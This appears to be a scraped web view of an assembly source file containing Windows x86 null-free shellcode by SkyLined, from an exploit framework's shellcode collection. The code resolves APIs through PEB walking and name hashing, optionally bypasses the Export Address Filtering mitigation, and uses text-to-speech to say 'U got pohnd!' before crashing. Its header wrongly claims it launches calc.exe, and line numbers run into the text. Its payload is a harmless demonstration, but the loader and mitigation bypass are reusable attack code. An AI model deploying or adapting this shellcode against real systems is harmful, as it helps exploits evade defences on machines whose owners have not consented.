Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/windows/speech/w32-speaking-shellcode.asm
Views: 11784
; Copyright (c) 2009-2010, Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>1; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/2; All rights reserved. See COPYRIGHT.txt for details.3BITS 324; Windows x86 null-free shellcode that executes calc.exe.5; Works in any application for Windows 5.0-7.0 all service packs.6; (See http://skypher.com/wiki/index.php/Hacking/Shellcode).7; This version uses 16-bit hashes.89%include 'w32-speaking-shellcode-hash-list.asm'1011%define B2W(b1,b2) (((b2) << 8) + (b1))12%define W2DW(w1,w2) (((w2) << 16) + (w1))13%define B2DW(b1,b2,b3,b4) (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1))1415%ifdef STACK_ALIGN16AND SP, 0xFFFC17%endif18find_hash: ; Find ntdll's InInitOrder list of modules:19XOR ESI, ESI ; ESI = 020MOV ESI, [FS:ESI + 0x30] ; ESI = &(PEB) ([FS:0x30])21MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr22MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (first module)2324%ifdef DEFEAT_EAF25; The first loaded module is ntdll on x86 systems and ntdll32 on x64 systems. Both modules have this code:26; ntdll32!RtlGetCurrentPeb (<no parameter info>)27; 64a118000000 mov eax,dword ptr fs:[00000018h]28; 8b4030 mov eax,dword ptr [eax+30h]29; c3 ret30MOV EDX, [ESI + 0x08] ; EDX = InInitOrder[X].base_address == module31MOVZX EBP, WORD [EDX + 0x3C] ; EBX = module->pe_header_offset32ADD EDX, [EDX + EBP + 0x2C] ; EDX = module + module.pe_header->code_offset == module code33MOV DH, 0xF ; The EAF breakpoints are in tables that are at the start of ntdll,34; so we can avoid them easily...35scan_for_memory_reader:36INC EDX37CMP DWORD [EDX], 0xC330408B ; EDX => MOV EAX, [EAX+30], RET ?38JNE scan_for_memory_reader39PUSH EDX ; Stack = &(defeat eaf)40%endif41PUSH ESI ; Stack = InInitOrder[0], [&(defeat eaf)]42MOV SI, hash_kernel32_LoadLibraryA4344next_module: ; Get the baseaddress of the current module and find the next module:45POP EDI ; EDI = InInitOrder[X] | Stack = [&(defeat eaf), ] "ole32\0\0\0"46MOV EBP, [EDI + 0x08] ; EBP = InInitOrder[X].base_address47PUSH DWORD [EDI] ; Stack = InInitOrder[X].flink == InInitOrder[X+1], [&(defeat eaf), ] "ole32\0\0\0"48get_proc_address_loop: ; Find the PE header and export and names tables of the module:49MOV EBX, [EBP + 0x3C] ; EBX = &(PE header)50MOV EBX, [EBP + EBX + 0x78] ; EBX = offset(export table)51ADD EBX, EBP ; EBX = &(export table)52MOV ECX, [EBX + 0x18] ; ECX = number of name pointers53JCXZ next_module ; No name pointers? Next module.54next_function_loop: ; Get the next function name for hashing:55MOV EDI, [EBX + 0x20] ; EDI = offset(names table)56ADD EDI, EBP ; EDI = &(names table)57MOV EDI, [EDI + ECX * 4 - 4] ; EDI = offset(function name)58ADD EDI, EBP ; EDI = &(function name)59XOR EAX, EAX ; EAX = 060CDQ ; EDX = 061hash_loop: ; Hash the function name and compare with requested hash62XOR DL, [EDI]63ROR DX, BYTE hash_ror_value64SCASB65JNE hash_loop66DEC ECX67CMP DX, SI ; Is this the hash we're looking for?68JE found_function ;69JCXZ next_module ; Not the right hash and no functions left in module? Next module70JMP next_function_loop ; Not the right hash and functions left in module? Next function71found_function:72; Found the right hash: get the address of the function:73MOV ESI, [EBX + 0x24] ; ESI = offset ordinals table74ADD ESI, EBP ; ESI = &oridinals table75MOVZX ESI, WORD [ESI + 2 * ECX] ; ESI = ordinal number of function76%ifdef DEFEAT_EAF77LEA EAX, [EBX + 0x1C - 0x30] ; EAX = &offset address table - MEMORY_READER_OFFSET78CALL [ESP + 4] ; call defeat eaf: EAX = [EAX + 0x30] == [&offset address table] == offset address table79%else80MOV EAX, [EBX + 0x1C] ; EDI = offset address table81%endif82ADD EAX, EBP ; EAX = &address table83MOV EDI, [EAX + 4 * ESI] ; EDI = offset function84ADD EDI, EBP ; EDI = &(function)85XOR ESI, ESI ; ESI = 086CMP DX, hash_ole32_CoInitialize ;87JE ole32_CoInitialize ;88CMP DX, hash_ole32_CoCreateInstance89JE ole32_CoCreateInstance ;90kernel32_LoadLibrary:91PUSH BYTE '2' ; Stack = "2\0\0\0", InInitOrder[X] [, &(defeat eaf)]92PUSH B2DW('o', 'l', 'e', '3') ; Stack = "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)]93PUSH ESP ; Stack = &("ole32"), "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)]94CALL EDI ; LoadLibraryA(&("ole32")) | Stack = "ole32\0\0\0", InInitOrder[X] [, &(defeat eaf)]95XCHG EAX, EBP ; EBP = &(ole32.dll)96%ifdef DEFEAT_EAF97POP EAX ; Stack = "2\0\0\0", InInitOrder[X], &(defeat eaf)]98POP EAX ; Stack = InInitOrder[X], &(defeat eaf)99%endif100MOV SI, hash_ole32_CoInitialize ;101JMP get_proc_address_loop102103ole32_CoInitialize:104PUSH ESI ; Stack = 0, InInitOrder[X] [, &(defeat eaf)]105CALL EDI ; CoInitialize(NULL), Stack = InInitOrder[X] [, &(defeat eaf)]106MOV SI, hash_ole32_CoCreateInstance ;107JMP get_proc_address_loop108109ole32_CoCreateInstance:110PUSH 0xd422046e111PUSH 0x99efeca1112PUSH 0x499272b9113PUSH 0x6c44df74 ; Stack = IID_ISpVoice, ....114MOV EAX, ESP ; EAX = &(IID_ISpVoice)115PUSH 0x9673794f116PUSH 0xc001e39e117DEC DWORD [ESP+2]118PUSH 0x11d23391119PUSH 0x96749377 ; Stack = CLSID_SpVoice, IID_ISpVoice, ....120MOV EBX, ESP ; EBX = &(CLSID_SpVoice), ...121PUSH ESI ; Stack = voice, CLSID_SpVoice, IID_ISpVoice, ....122PUSH ESP ; Stack = &(voice), voice, CLSID_SpVoice, IID_ISpVoice, ....123PUSH EAX ; Stack = &(IID_ISpVoice), &(voice), voice, CLSID_SpVoice, IID_ISpVoice, ....124PUSH BYTE 0x17 ; Stack = CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, ....125PUSH ESI ; Stack = NULL, CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, ....126PUSH EBX ; Stack = &(CLSID_SpVoice), NULL, CLSCTX_ALL, &(IID_ISpVoice), &(voice), voice, ....127CALL EDI ; CoCreateInstance(&(CLSID_SpVoice), NULL, CLSCTX_ALL, &(IID_ISpVoice), &voice) | Stack = voice, ...128POP EBX ; EBX = voice | Stack = ...129PUSH B2DW('o', 'g', ' ', 'U') ; Stack = "og U", ...130PUSH B2DW('o', 'p', ' ', 't') ; Stack = "op tog U", ...131PUSH B2DW('!', 'd', 'n', 'h') ; Stack = "!dnhop tog U", ...132XCHG EAX, ESI ; EAX = 0133MOV ESI, ESP ; ESI = &("!dnhop tog U")134PUSH EAX ; Stack = 0, "!dnhop tog U", ...135unicode_loop:136LODSB ; read: "!dnhop tog U"137PUSH AX ; write: Stack = u"U got pohnd!", 0, "!dnhop tog U", ...138CMP AL, 'U' ; EAX == 0? (WCHAR == '\0'?)139JNE unicode_loop140MOV ECX, ESP ; ECX = &(u"U got pohnd!\0")141XOR EAX, EAX ; EAX = 0142PUSH EAX ; Stack = 0, ...143PUSH EAX ; Stack = 0, 0, ...144PUSH ECX ; Stack = &(u"U got pohnd!\0"), 0, 0, ...145PUSH EBX ; Stack = voice, &(u"U got pohnd!\0"), 0, 0, ...146MOV EDX, [EBX] ; EDX = voice->vftable147MOV ECX, [EDX+0x50] ; ECX = voice->vftable->Speak148CALL ECX ; SpVoice::Speak(voice, &(u"U got pohnd!\0"), 0, 0) | Stack = ...149INT3 ; Crash150151152